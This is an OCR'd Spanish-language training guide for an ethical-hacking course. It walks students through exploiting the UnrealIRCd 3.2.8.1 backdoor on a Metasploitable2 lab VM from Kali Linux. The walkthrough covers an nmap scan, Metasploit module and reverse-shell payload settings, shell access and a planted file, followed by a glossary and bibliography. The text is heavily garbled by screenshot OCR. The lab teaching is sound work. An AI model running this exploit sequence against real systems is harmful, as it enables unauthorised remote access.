collisions:0 txqueuelen:1000

RX bytes:7119 (6.9 KB) TIX bytes:?154 (6.9 KB)

Interrupt:1? Base address:0x2000

Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0

inetb addr: 17128 Scope:Host

UP LOOPBACK RUNNING HMTU:16436 Hetric:1

RX packets:91 errors:0 dropped:0 overruns:0 frane:0
TX packets:91 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0

RX bytes:19301 (18.8 KB) TX bytes:19301 (1B6.8 KB)

msfadmin@netasploitable:™$
mnsfadmin@netasploitable
msfadmin@netasploitable
mnsfadmin@netasploitable:
vulnerable
mnsfadmin@netasploitable:

To direct input to this VM, click inside or press Ctrl+G.

5 m
£ Buscar 5% orara004

Para obtener mi prompt.

[@  Kaliinux - VMware Workstation - o x

File Edit View VM Tabs Hep | || ~ & | © el

7 Home [ Kalilinux (52 Metasploitable2-Linux

® | KaliLinux > v

C @ M Eladlhirvleharallbali Aafaulte hinhlhamananna himl
F) ali@kali: ~

File Actions Edit View Help

w3m
| K AL| I wgetrc IMMUNITY »  COURSES v DEVELOPERS v ABOUT v

wpa_supplicant
xinetd.conf

xinetd.d
zsh_command_not_found
pwd

/etc

Kali Linux # Kali Tools

msfadmin
service

drwxr-xr-x root root 4096 Apr 2010
drwxr-xr-x root root 4096 May 2012 .
drwxr-xr-x root nogroup 4096 Mar 2010 ftp
drwxr-xr-x msfadmin msfadmin 4096 May 2012 msfadmin
drwxr-xr-x service service 4096 Apr 2010 service
drwxr-xr-x user user 4096 May 2010 user

cd msfadmin

1s

vulnerable

script /dev/null -c bash|

To direct input to this VM, move the mouse pointer inside or press Ctrl+G.

= 5:
O Buscar :'5» 5°C Parc.soleado A | 7 Q) ESP 10/03/2024
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[B Kaliinux - VMware Workstation B0 x

File Edt View VM Tebs Hep | || ~ | &  © 2 0B o |k

Home [ Kalilinux [» Metasploitable2-Linux
BemPoOF]-
®  KaliLinux

C @ ™ flndllhievlehnrallali Anfalee
£ kali@kali: ~

Kalilinux @ KaliTools  po Actions Edit View Help

xinetd.d
| KAL| | sh_command_not_found IMMUNITY v COURSES v DEVELOPERS v ABOUT v

pwd

/etc

cd ..

cd /home

1s

ftp

msfadmin

service

user

1s -la

total 24

drwxr-xr-x root root 4096 Apr 2010
drwxr-xr-x root root 4096 May 2012
drwxr-xr-x root nogroup 4096 Mar 2010 ftp
drwxr-xr-x msfadmin msfadmin 4096 May 2012 msfadmin
drwxr-xr-x service service 4096 Apr 2010 service
drwxr-xr-x user user 4096 May 2010 user
cd msfadmin

1s

vulnerable

script /dev/null -c bash
root@metasploitable:/home/msfadmin# touch hackeado.txt
rootametasploitable:/home/msfadmingt 1s

:/home/msfadmin [

o 504p.
£ Buscar 5°C Parc.soleado A D) EP L ormon

(B Metasploitable2-Linux - VMuare Workstation — o x
File Edit View VM Tebs Help @D LR 1 -
Ty Home [ Kaliinux [ Metasploitable2-Linux

inetb addr: fef0 O0c :29ff :fe39:818d-64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:80 errors:0 dropped:0 overruns:0 frame

TX packets:6? errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txgueuelen:1000

RX bytes:7119 (6.9 KB) TX bytes:7154 (6.9 KB)
Interrupt:17 Base address:0x2000

Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0

ineth addr: ::1/128 Scope:Host

UP LOOPBACK RUNNING MTU:16436 HMetric:1

RX packets:91 errors:0 dropped:@ overruns:0 frane:0
TX packets:91 errors:0 dropped:0 overruns:0 carrier:0
collisions:@ txqueuelen:0

RX bytes:19301 (18.8 KB) TX bytes:19301 (18.86 KB)

nsfadmin@metasploitable: "
nsfadmin@metasploitable (]
nsfadmin@metasploitable
nsfadmin@metasploitable S 1s
vulnerable
nsfadmin@metasploitable: ™5 Is
hackeado.txt wulnerable
nsfadmin@metasploitable:"$§

To direct input to this VM, click inside or press Ctrl+G.

2 Buscar ESP

504 p.
10/09/2024
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%%
3.4 Actividades de Transferencia el Conocimiento:
Descripcion de la actividad: Metasploit en Kalilinux
Ambiente requerido: Sala de computo con internet
Estrategias o técnicas didacticas activas: Informe técnico

Materiales de formacién:
- MV KALILINUX.ISO
- MV Metasploitable2

Material de apoyo:

Evidencias de aprendizaje: El aprendiz debera realizar un informe técnico con el paso a paso de la

actividad a desarrollar,
Instrumentos de evaluacion: checklist
Duracidn de la actividad: 40 horas.

3.4.1 Para esta practica utilizaremos funcionando ambas MV Metasploitable y Kalilinux.

B Kalilinux - VMware Workstation

File Edit View VM Tabs Help | |l ~ &= | O C NI | R 1 s

5 Meta:

B omEmP o] 2 “ ] O 4% A 0380 |a c

¥ ¢©

Kali Linux a...

File System

”

UnreallRCd...

To direct input to this VM, click inside or press Ctrl+G.
1h Humedad A~ T =3 7z ) ESP X

M 0 B
£ Buscar ﬁf i s 11/09/2024

GFPI-F-135 V04



B Metasploitable2-Linux - VMware Workstation - >

File Edit View VM Tebs Help - & o [N | I w1

s Home 552 Kainux [ Metasploitable2-Linux

Warning: Never expose this UM to an untrusted netuork?
Contact: msfdevliatlnetasploit.con

Login with msfadnin/msfadmin to get started

metasploitable login: msfadmin

Passuord :

Last login: Tue Sep 10 11:53:59 EDT 2024 on ttyl

Linux netasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free softuware;
the exact distribution terms for each program are described in the
individual files in susrssharesdocsxscopyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http:i/shelp.ubuntu.con,s

No mail

msfadmin@metasploitable:™$

To direct input to this VM, click inside or press Ctrl+G
&51a.m.
11/09/2024

M,
£ Buscar Humedad ESP
af i

8} Kalilinux - VMware Workstation

File Edit View VM Tabs Help i - [==] (] L) I =28 R

r Home [ Kalilinux [ Metasploitable2-Linux

= kali@kali: ~
View Help

# Nmap 7.94SVN scan initiated Tue Sep 10 11:02:57 2024 as: nmap -p 22,80,443,
File System 6667 -oN escaneo 192.168.186.129

Nmap scan report for 192.168.186.129

Host is up (©.00027s latency).

PORT STATE SERVICE
i 22/tcp open ssh
80/tcp open http
443/tcp closed https
6667/tcp open irc
MAC Address: ©0:©C:29:39:81:8D (VMware)

# Nmap done at Tue Sep 1@ 11:02:57 2024 — 1 IP address (1 host up) scanned i
n ©.15 seconds

UnreallRCd

To direct input to this VM, move the mouse pointer inside or press Ctrl+G.

L Buscar

GFPI-F-135 V04



Bl Kalilinux - VMware Workstation

File Edit View VM Tabs Help 11 - [==]

SENA

M = 0. s

[ Kalilinux [ Metasploitable 2-Linux

Kali Lin
File Actions

kali@kali: ~

View Help

Fuwfkfhe

Ahora realizaremos el ataque a esta misma vulnerabilidad pero utilizando la herramienta de metasploitable

de kalilinux.

B Kalilinux - VMware Workstation

File Edit View VM Tabs Help | || ~ | & | © 2|08

(32 Metasploitable2-Linux
BemPorl:

Q metas|

3 Home [ Kalilinux

M metasploit framework

‘Window Manager Tweaks

To direct input to this VM, move the mouse pointer inside or press Ctrl+G.

£ Buscar

e.localdomain/organizationName=0
ng outside US/countryName=XX

om scanner time.

128] (Quit: xfuwfkfhe)

Corremos metasploit y nos pide el password de Kali, la digitamos.

GFPI-F-135 V04

24°C Soleado

O A0 |a c

A DD 7 ESP

&57a.m.
11/09/2024 D



B Kalilinux - VMware Workstation

File Edit View VM Tabs Help | || ~

SENA

8 0L

1) Home [ Kalilinux

BeomP o]

' [3

Trash Kali Linux

File System

0o/ H
. yNmMMh
: 1 -0+++400004

UnreallRCd...

£ Buscar

G Kalilinux - VMware Workstation

File Edit View VM Tabs Help

(32 Metasploitable2-Linux

Shell No. 1

File Actions Edit View Help

MMMNddds\ ... //

IMMMMMMMMM
AMN W

£ MMMMMMMMMM MMMMMMMMMMd

40 +++0000++/

MMMMMMMMMN /

Md.

sddd+ : dMMmNMMh .
-dMd mN/ "

sion one died of dysente

@ 24°C Soleado A~

9

ESP

11/09/2024

7 Home [ Kalilinux

Kali Linux; =1

[ Metasploitable2-Linux

Shell No. 1

File Actions Edit View Help

File System

0it ve
2420 exploits - 1248 auxiliary - 423 post
1465 payloads - 47 encoders - 11 nops

9 evasion

Metasploit Documentation: https://docs.metasploit.com/

iRl search unrealircd

Matching Modules

UnreallRCd...

Disclosure Date Rank

# Name
Check Description

2010-06-12

0

exploit/unix/irc/unreal_ircd_3281_backdoor
No URrealIRCD 3.2.8.1 Backdoor Command Execution

Interact with a module e or index. For example 1

by nam

GFPI-F-135 V04

24°C Soleado

A

o

9:02 a. m.
11/09/2024
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Damos ifconfig para optener la ip de nuestra maquina victima.
G Metasploitable2-Linux - VMware Workstation

File Edit View VM Tabs Help - & O o030

¢ Home [ Kaliinux [ Metasploitable2-Linux

To access official Ubuntu documentation, please visit:

http://help.ubuntu.con/

No mail.

nsfadmin@netasploitable

msfadmin@netasploitable:”§ ifconfig

etho Link encap:Ethernet HWaddr 00:0c:29:39:81:8d
inet addr:192.168.186.129 Bcast:192.168.186.255 Mask:255.255.255.0
inet6 addr: feB0::20c:29ff:fe39:818d-64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:168 errors:0 dropped:0 overruns:@ frane:@
TX packets:93 errors:0 dropped:0 overruns:0 carrier:®
collisions:0 txqueuelen:1000
RX bytes:12015 (11.7 KB) TX bytes:11622 (11.3 KB)
Interrupt:1?7 Base address:0x2000

Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inetb addr: 1,128 Scope:Host

UP LOOPBACK RUNNING HMTU:16436 Metric:1

RX packets:144 errors:0 dropped:0 overruns:0 frane:0
TX packets:144 errors:0 dropped:@ overruns:® carrier:0
collisions:0 txqueuelen:@

RX bytes:44289 (43.2 KB) TX bytes:44289 (43.2 KB)

mnsfadmin@netasploitable:™$

Desde Kalilinux

B Kalilinux - VMware Workstation

File Edit View VM Tabs Help - 50 2 0DEON| M

7 Home ([} Kalilinux ([ Metasploitable2-Linux

A 00905 @ G

Shell No. 1

[ 2420 exploits - 1248 auxiliary - 423 post
File System [ 1465 payloads - 47 encoders - 11 nops
=[ 9 evasion

Metasploit Documentation: https://docs.metasploit.com/

L] nsfs >

Matching Modules

# Name Disclosure Date Rank
Check Description

UnreallRCd... @ exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12
No UArealIRCD 3.2.8.1 Backdoor Command Execution

Interact with a module by name or index. For example info 0,

ix/ir: real_ir 281_backdoor

Y |

m.
11/09/2024

£ Buscar

24°C Soleado A ¥ 7z Q) ESP
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B Kalilinux - VMware Workstation

File Edit View VM Tebs Hep || ~ | & O R DODBETgN b

) Home [

7 Kalilinux [ Metasploitable2-Linux

B eamPo-- |

O 4 A 0% & c

Kali Linux Shell No. 1

File Actions Edit View Help
msf6 exploit( ) > show options

Module options (exploit/unix/irc/[NiunEeEr B I lLD):

File System Name Current Setting Required Description

CHOST no
CPORT no
Proxies no

The local client address

The local client port

A proxy chain of format type:host:p:
rt[,type:host:port][ ... ]

The target host(s), see https://doc
.metasploit.com/docs/using-metasplo
t/basics/using-metasploit.html

The target port (TCP)

RHOSTS yes

Exploit target:

UnreallRCd... Id Name

0 Automatic Target

View the full module info with the command

6 exploit(

To direct input to this VM, move the mouse pointer inside or press Ctrl+G.

£ Buscar

06 a. m.

24°C Soleado A @ WD Z D) EP 000,

La vulnerabilidad detectada para esta maquina es una puerta trasera. La idea es inyectar un payload

para obtener una Shell reversa en mi maquina kalilinux y apoderarme de esa maquina.
& Kalilinux - VMware Workstation

File Edt View VM Tobs Hep | || + | & | © 208 0N

7 Home [ Kalilinux [} Metasploitable2-Linux

O ¢ A0 | & C

Kali Linux: & Shell No. 1
Actions Edit View Help

Unix Command Shell, Bind TCP (via Perl)
payload/cmd/unix/bind_perl_ipvé
Unix Command Shell, Bind TCP (via perl) IPv6
— payload/cmd/unix/bind_ruby
File System Unix Command Shell, Bind TCP (via Ruby)
payload/cmd/unix/bind_ruby_ipvé
Unix Command Shell, Bind TCP (via Ruby) IPv6
payload/cmd/unix/generic
Unix Command, Generic Command Execution
payload/cmd/unix/reverse o normal
Unix Command Shell, Double Reverse TCP (telnet
payload/cmd/unix/reverse_bash_telnet_ssl
Unix Command Shell, Reverse TCP SSL (telnet)
payload/cmd/unix/reverse_perl
Unix Command Shell, Reverse TCP (via Perl)
payload/cmd/unix/reverse_perl_ssl
Unix Command Shell, Reverse TCP SSL (via perl)
payload/cmd/unix/reverse_ruby
Unix Command Shell, Reverse TCP (via Ruby)
payload/cmd/unix/reverse_ruby_ssl o normal
Unix Command Shell, Reverse TCP SSL (via Ruby)
payload/cmd/unix/reverse_ssl_double_telnet . normal
o Unix Command Shell, Double Reverse TCP SSL (telnet)

normal
normal
normal

normal

normal
normal
normal

normal
UnreallRCd...

msf6 exploit(
payload = cmd/uni:
msf6 exploit(

set payload 5

A Buscar ﬂ“ ;

%10 a. m.

@ 24CSoleado A G WD W) B o
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Show payloads

B Kalilinux - VMware Workstation - o x

File Edit View VM Tabs Help | || ~ & | O® ORI | s R o R

7 Home [ Kalilinux [ Metasploitable2-Linux

B waP ol O¢® A 0095 | & C

Kali Linux i Shell No. 1

Actions Edit View Help

payload/cmd/unix/bind_perl 5 normal
Unix Command Shell, Bind TCP (via Perl)
payload/cmd/unix/bind_perl_ipvé : normal
= Unix Command Shell, Bind TCP (via perl) IPv6
File System payload/cmd/unix/bind_ruby 3 normal
Unix Command Shell, Bind TCP (via Ruby)
payload/cmd/unix/bind_ruby_ipvé . normal
Unix Command Shell, Bind TCP (via Ruby) IPv6
payload/cmd/unix/generic . normal
Unix Command, Generic Command Execution
payload/cmd/unix/reverse . normal
Unix Command Shell, Double Reverse TCP (telnet)
payload/cmd/unix/reverse_bash_telnet_ssl g normal
Unix Command Shell, Reverse TCP SSL (telnet)
payload/cmd/unix/reverse_perl 4 normal
Unix Command Shell, Reverse TCP (via Perl)
payload/cmd/unix/reverse_perl_ssl g normal
Unix Command Shell, Reverse TCP SSL (via perl)
UnreallRCd... payload/cmd/unix/reverse_ruby g normal
Unix Command Shell, Reverse TCP (via Ruby)
11 payload/cmd/unix/reverse_ruby_ssl 5 normal
Unix Command Shell, Reverse TCP SSL (via Ruby)
12 payload/cmd/unix/reverse_ssl_double_telnet . normal
] Unix Command Shell, Double Reverse TCP SSL (telnet)

msf6 exploit( ) Interrupt: use the 'exit’
ommand to quit
To direct input to this VM, move the mouse pointer inside or press Ctrl+G.

2 %54a.m
0 Buscar 24°C Soleado A T W@ 7 D) EPo0n

msf6 exploit(unix/irc/unreal_ircd_3281_ backdoor) > set payload 6

B Kalilinux - VMware Workstation -0 x

File Edt View VM Tbs Hep | ||+ @ O 2 0B oK |k

7 Home [ Kalilinux [} Metasploitable2-Linux

Kali Linux i Shell No. 1

File Actions Edit View Help

command to quit
msf6 exploit( set payload 6
payload = cmd/unix/reverse
— msf6 exploit( set RHOST 192.168.186.1.
File System RHOST = 192.168.186.129
msf6 exploit( set RPORT 6667
RPORT = 7
msf6 exploit( set LHOST 192.168.186.128
LHOST = 192.168.186.128
L 6 exploit( show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

Name Current Setting Required Description

CHOST no The local client address

CPORT no The local client port

Proxies A proxy chain of format type:host:po

UnreallRCd... rt[,type:host:port][ ... ]

RHOSTS 192.168. .129 The target host(s), see https://docs
.metasploit.com/docs/using-metasploi
t/basics/using-metasploit.html

RPORT 6667 yes The target port (TCP)

Payload options (cmd/unix/reverse):

To direct input to this VM, move the mouse pointer inside or press Ctrl=G.
552, m.

:
24°C Soleado A G W8 7 ) BP0
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set RHOST 192.168.186.129

8 Kalilinux - VMware Workstation

- o x
File Edit View VM Tebs Help | || ~ & | @ L 0OBEDOHN -
7 Home [ Kalilinux [ Metasploitable2-Linux

O 4 A ©95 & G

Kali Linux: & Shell No. 1
File Actions Edit View Help

payload = cmd/unix/reverse
msf6 exploit( ) set RHOST 192.168.186.129
RHOST = 192.168.186.129

—= msf6 exploit( ) > set RPORT 6667
File System RPORT = 6667
msf6 exploit( > set LHOST 192.168.186.128
LHOST = 192.168.186.
msf6 exploit( ) > show options

f

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

Name Current Setting Required Description

CHOST The local client address

CPORT The local client port

Proxies A proxy chain of format type:host:po
rt[,type:host:port][ ... ]

RHOSTS 192.168.186.129 The target host(s), see https://docs
.metasploit.com/docs/using-metasploi
t/basics/using-metasploit.html

RPORT 6667 / The target port (TCP)

UnreallRC

Payload options (cmd/unix/reverse):

Name Current Setting Required Description

To direct input to this VM, move the mouse pointer inside or press Ctrl=G. 4
o8 { 2552,
= J‘fﬁ 11/09/2024

Con ifconfig obtengo la ip de mi mv kalilinux.

B Kalilinux - VMware Workstation

File Edit View VM Tabs Help | || ~ & | © [e)

)} Home (3 Kalilinux [ Metasploitable2-Linux ‘

Kali Linux;  © lali@kali: ~
File Actions Edit View Help

— etho: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500

FESHE inet [EPISUTIRCIIEPE] netmask 255.255.255.0 broadcast 192.168.186.255
inet6 fe80::20c:29ff:fec5:2ea@ prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:c5:2e:a0@ txqueuelen 1000 (Ethernet)

RX packets 425 bytes 35418 (34.5 KiB)

RX errors © dropped @ overruns @ frame 0

TX packets 170 bytes 15396 (15.@ KiB)

TX errors © dropped @ overruns @ carrier @ collisions 0

3<UP, LOOPBACK,RUNNING> mtu 65536

inet 127.0.0.1 netmask 255.0.0.0
inet prefixlen 128 scopeid @x1@<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 33798 bytes 5091818 (4.8 MiB)
errors @ dropped @ overruns @ frame @
UnreallRCd... X packets 33798 bytes 5091818 (4.8 MiB)
errors @ dropped @ overruns @ carrier @ collisions @

@ 24°C Soleado A 11/09/2024
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6 Kalilinux - VMware Workstation

File Edit View VM Tabs Help | || ~ 08

O

3 Home [ Kalilinux [ Metasploitable2-Linux

Kali Linux i —
File Actions Edit View Help

msf6 exploit(
LHOST = 192.168.186.128
msf6 exploit(

File System

UnreallRCd...

To direct input to this VM, move the mouse pointer inside or press Ctrl+G

£ Buscar

B Kalilinux - VMware Workstation

File Edit View VM Tabs Help

n- =

Shell No.1

) > set LHOST 192.168.186.128

) > 1

@ 24°C Soleado

o

2 11/09/2024

7 Home [ Kalilinux [3! Metasploitable2-Linux

Kali Linux i Shell

File Actions Edit View Help
msf6 exploit(

Module options (exploit/unix/irc/unre

File System Name Current Setting Required
CHOST

CPORT

Proxies

L

RHOSTS 192.168.186.129

RPORT 6667

Payload options (cmd/unix/reverse):

UnreallRCd... Name

LHOST

Current Setting

Required
192.168.186.128 yes

LPORT 4444 yes

Exploit target:

To direct input to this VM, move the mouse pointer inside or press Ctrl+G.

£ Buscar

No.1

) > show options
al_ircd_3281_backdoor):
Description

The local client address

The local client port

A proxy chain of format type:host:po
rt[,type:host:port][ ... ]

The target host(s), see https://docs
.metasploit.com/docs/using-metasploi
t/basics/using-metasploit.html

The target port (TCP)

Description

The listen address (an interface may b
e specified)
The listen port

24°C Soleado

GFPI-F-135 V04
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B Kalilinux - VMware Workstation - g X

File Edt View WM Tebs Hep ||+ &2 @ L 080

2 Home [ Kalilinux [ Metasploitable2-Linux ‘

Kali Linux Shell No. 1

File Actions Edit View Help
@ Automatic Target

File System View the full module info with the r i command.

exploit( ) >

Started reverse TCP double handler on 192.168.186.128:4444
f 192.168.186.129:6667 - Connected to 192.168.186.129:6667 ...
:irc.Metasploitable.LAN NOTICE AUTH :*x Looking up your hostname ..
:irc.Metasploitable.LAN NOTICE AUTH :¥*x Couldn't resolve your hostname
using your IP address instead
192.168.186.129:6667 - Sending backdoor command ...
Accepted the first client connection ...
Accepted the second client connection
Command: echo GDbU1zk8rbg59L1g;
Writing to socket A
UnreallRCd... Writing to socket B
Reading from sockets ..
Reading from socket B
B: "GDbU1zk8rbg59Llg\r\n"
Matching ...
A is input
Command shell session 1 opened (1 168.186.128: 4444 — 192.168.186.129:3
6089) at 2 -09-11 09:53:48 -0500

To direct input to this VM, move the mouse pointer inside or press Ctrl+G.

=
O Buscar 24°C Soleado A % 11/09/2024

Y listo ya estamos en nuestra maquina victima.

B Kalilinux - VMware Workstation - o x
File Edit View VM Tabs Help | || ~ & | © 2 DEOHN
7 Home [ Kalilinux [} Metasploitable2-Linux

Kali Linux i Shell No. 1

File Actions Edit View Help

B: "GDbU1zk8rbg59L1g\r\n"

Matching ...

A is input...

Command shell session 1 opened (192.168.186.128:4444 — 192.168.186.12
File System 6089) at 2024-09-11 09:53:48 -0500

1s
Donation
LICENSE
aliases
badwords.channel.conf
badwords .message.conf
badwords.quit.conf
curl-ca-bundle.crt
dccallow.conf
doc
help.conf
ircd.log

UnreallRCd... ircd.pid
ircd. tune
modules
networks
spamfilter.conf
tmp
unreal
unrealircd.conf

To direct input to this VM, move the mouse pointer inside or press Ctrl+G
M 9:57 3. m.

35 ° 3 P
P Buscar m. 24°C Soleado A~ G W@ 7 W BP0
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4. PLANTEAMIENTO DE EVIDENCIAS DE APRENDIZAJE PARA LA EVALUACION EN EL PROCESO

proyect Actividad del . . . . Tecnicas e
— Actividad de Evidencias de CRITERIOS PE Instrument
. . Aprendizaje Aprendizaje EVALUACION os de
formativ formativo L,
Evaluaciéon
Evaluaci | DEFINIR LOS VERIFICAR LAS | INFORME REALIZA Lista de
on REQUERIMIENT | CONDICIONES TECNICO, ANALISIS DE chequeo
OS DE IMPLEMENTA | ANALISIS DE VULNERABILIDA
INFRAESTRUCT | DASEN LA VULNERABILIDA | DES A UNA RED
URA DE RED DE | RED DE DES Y ATAQUE A | MEDIANTE Y
DATOS PARA EL | DATOS, DE MV'Y REDES APLICA PENTEST
AREA CLOUD ACUERDO WIRELESS DESDE LA ETICA
COMPUTING CON LOS HACKING
DEL CTA TERMINOS DE IDENTIFICANDO
REFERENCIA Y APLICANDO
EL DISENO Y LOS
BAJO LA FUNDAMENTOS
NORMATIVIDA Y CONCEPTOS
D VIGENTE DE ETICA
HACKING EN EL
ENTORNO DE
REDES
1. GLOSARIO DE TERMINOS

Amenaza: Cualquier posible peligro que pueda explotar una vulnerabilidad en un sistema de

informacidén, causando dafio o pérdida.

Ataque: Accidn realizada con el objetivo de explotar una vulnerabilidad en un sistema para
obtener acceso no autorizado o causar dafio.
Autenticacion: Proceso de verificar la identidad de un usuario, dispositivo o sistema.

Ejemplos incluyen contrasefias, autenticacion multifactor (MFA) y biometria.

Autorizacion: Proceso de otorgar permisos o privilegios a un usuario autenticado para
acceder a recursos especificos dentro de un sistema.
Cifrado (Encryption): Técnica utilizada para convertir datos en un formato que no pueda ser
leido sin una clave de descifrado, protegiendo asi la informacién durante su transmisién o

almacenamiento.

GFPI-F-135 V04
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Confidencialidad: Principio de seguridad que asegura que la informacidn solo es accesible
para las personas autorizadas y se mantiene en secreto de aquellos que no tienen permiso
para acceder a ella.

Integridad: Garantiza que los datos no sean alterados de manera no autorizada durante su
almacenamiento o transmision.

Disponibilidad: Asegura que los datos y servicios sean accesibles y utilizables por los usuarios
autorizados cuando lo necesiten.

Firewall: Dispositivo o software que controla el trafico de red, permitiendo o bloqueando el
trafico segun un conjunto de reglas de seguridad.

Malware: Software malicioso disenado para dafar, interrumpir o obtener acceso no
autorizado a sistemas informaticos. Ejemplos incluyen virus, troyanos y ransomware.
Phishing: Técnica de ingenieria social que intenta engafar a las personas para que revelen
informacidn confidencial, como contrasefias o detalles de tarjetas de crédito, mediante el
uso de correos electrénicos falsos o sitios web fraudulentos.

Ransomware: Tipo de malware que cifra los archivos del sistema y exige un rescate para
proporcionar la clave de descifrado.

Vulnerabilidad: Debilidad en un sistema o aplicacién que puede ser explotada por un
atacante para comprometer la seguridad.

Penetration Testing (Pruebas de Penetracion): Evaluacion de seguridad en la que se simulan
ataques a un sistema para identificar vulnerabilidades antes de que lo hagan los atacantes
reales.

Inyeccion SQL: Técnica de ataque en la que se insertan comandos SQL maliciosos en una
consulta, permitiendo al atacante manipular la base de datos.

Zero-Day Exploit: Vulnerabilidad en un software que es desconocida para el fabricante vy,
por lo tanto, no tiene un parche disponible para corregirla.

Red Team: Grupo de especialistas en ciberseguridad que simula ataques para evaluar la
defensa de una organizacidn, identificando debilidades y areas de mejora.

Blue Team: Equipo encargado de defender los sistemas y redes de una organizacién contra
ataques y amenazas, implementando y manteniendo medidas de seguridad.

SIEM (Security Information and Event Management): Herramienta que recoge, analiza y
correlaciona datos de eventos de seguridad en tiempo real para identificar y responder a
amenazas.

DLP (Data Loss Prevention): Conjunto de herramientas y estrategias utilizadas para prevenir
la pérdida o divulgacion no autorizada de datos sensibles.

VPN (Virtual Private Network): Tecnologia que crea una conexién segura y cifrada a través
de una red menos segura, como Internet, para proteger la comunicacion y mantener la
privacidad.

Social Engineering: Manipulacién psicoldgica de las personas para obtener informacion
confidencial o acceso a sistemas.

Botnet: Red de computadoras infectadas con malware que pueden ser controladas de forma
remota por un atacante para realizar actividades maliciosas.
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¢ Incident Response (Respuesta a Incidentes): Proceso de gestidn y resolucién de eventos de
seguridad para minimizar el impacto y recuperar la normalidad tras un incidente.

e Patch Management (Gestion de Parcheo): Proceso de aplicar actualizaciones y parches a
software y sistemas para corregir vulnerabilidades y mejorar la seguridad.

6. REFERENTES BILBIOGRAFICOS
Construya o cite documentos de apoyo para el desarrollo de la guia, segun lo establecido en la guia

de desarrollo curricular. (BIBLIOGRAFIA / WEBGRAFIA).

"Hacking Etico: Una guia completa para la prueba de penetraciéon"

Autor: Javier Figueroa

Descripcidn: Este libro proporciona una guia practica para realizar pruebas de penetraciény
hacking ético, incluyendo técnicas, herramientas y metodologias.

"Hacking: The Art of Exploitation"

Autor: Jon Erickson
Descripcidon: Ofrece una introduccion a la explotacién de vulnerabilidades y a la
programacion en el contexto del hacking, con ejemplos practicos y ejercicios.

"The Web Application Hacker's Handbook: Discovering and Exploiting Security Flaws"
Autores: Dafydd Stuttard y Marcus Pinto

Descripcidn: Un recurso exhaustivo sobre el hacking de aplicaciones web, cubriendo técnicas
avanzadas y metodologias para identificar y explotar vulnerabilidades.

"Metasploit: The Penetration Tester's Guide"

Autores: David Kennedy, Jim O'Gorman, Devon Kearns y Mati Aharoni
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Descripcion: Enfocado en el uso de Metasploit, una herramienta popular para pruebas de
penetracidn. Proporciona una guia detallada sobre cdmo usar esta herramienta para realizar
ataques y evaluaciones de seguridad.

"Hacking Exposed: Network Security Secrets & Solutions"

Autores: Stuart McClure, Joel Scambray y George Kurtz
Descripcidn: Un libro fundamental que cubre técnicas de hacking y defensa, proporcionando
informacidn practica sobre como proteger las redes contra ataques.

"Penetration Testing: A Hands-On Introduction to Hacking"

Autor: Georgia Weidman
Descripcidn: Una guia practica para el hacking ético, cubriendo técnicas basicas y avanzadas
para realizar pruebas de penetracién efectivas.

"Cybersecurity and Cyberwar: What Everyone Needs to Know"

Autores: P.W. Singer y Allan Friedman
Descripcion: Ofrece una vision general accesible sobre la ciberseguridad y las amenazas,
incluyendo el hacking ético en un contexto mas amplio.

"Advanced Penetration Testing: Hacking the World's Most Secure Networks"

Autor: Wil Allsopp
Descripcidn: Dirigido a profesionales de la seguridad, este libro cubre técnicas avanzadas de
pruebas de penetracidn y cdmo abordar redes altamente seguras.

"CompTIA Security+ Guide to Network Security Fundamentals"

Autor: Mark Ciampa
Descripcidon: Aunque no estd centrado exclusivamente en hacking ético, proporciona una

base sdlida en seguridad de redes que es esencial para cualquier profesional de seguridad.
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"The Hacker Playbook 2: Practical Guide To Penetration Testing"
Autor: Peter Kim

Descripcidon: Un manual practico que guia a los lectores a través de los métodos y técnicas

utilizadas en las pruebas de penetracién modernas.

7. CONTROL DEL DOCUMENTO

SONIA YAMILE ORTEGA = INSTRUCTOR

CARRILLO

Autor (es) | SONIA YAMILE ORTEGA | INSTRUCTOR | TICS 18/09/24
CARRILLO

8. CONTROL DE CAMBIOS (diligenciar Unicamente si realiza ajustes a la guia)

Nombre Cargo Dependencia Fecha Razon del Cambio

Autor (es)
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